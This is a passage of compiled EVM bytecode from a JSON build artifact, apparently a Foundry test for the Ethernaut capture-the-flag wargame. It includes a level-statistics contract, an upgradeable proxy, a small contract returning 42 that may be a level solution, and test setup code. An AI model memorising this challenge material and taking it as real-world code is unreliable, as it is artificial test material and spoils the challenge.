cd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65646080604052348015600e575f80fd5b5060908061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c8063650500c114602a575b5f80fd5b7c2a0000000000000000000000000000000000000000000000000000000060405190815260200160405180910390f3fea264697066735822122064bc454306f441fbb0a1245ec140541c2684670d75e2ff7da5056f5ffb2ab7cd64736f6c63430008180033a2646970667358221220f95235d9db6fd381dded0e6f3ac1ca5e6630180120182bf9c30b4219116ff7aa64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;472:1714:138;420:32:154;259:12:155;472:1714:138;420:32:154;410:43;382:71;;472:1714:138;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b9f565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001be2565b620001b3620001fa36600462001cce565b62000a2b565b6200020a62000bf6565b604051620001c7919062001da1565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e64565b620001da6200025736600462001f31565b62000ef8565b6200019a62001088565b62000271620011aa565b604051620001c7919062001f49565b620001b36200029136600462001faf565b6200127f565b620002376200139e565b620002b8620002b236600462001fcd565b62001498565b6040519015158152602001620001c7565b6200027162001628565b6200019a620016fd565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b86200181c565b620001da620018f0565b6200019a6200032f36600462001f31565b62001950565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762002009565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002009565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200127f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b38565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020aa565b905080600182516200098291906200223a565b8151811062000995576200099562002009565b60200260200101515f0151600281518110620009b557620009b562002009565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002250565b90505f81848560405160200162000acd929190620022a2565b60408051601f198184030181529082905262000aed929160200162002350565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002382565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002250565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c490919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002396565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002396565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c30565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023d0565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62002009565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d5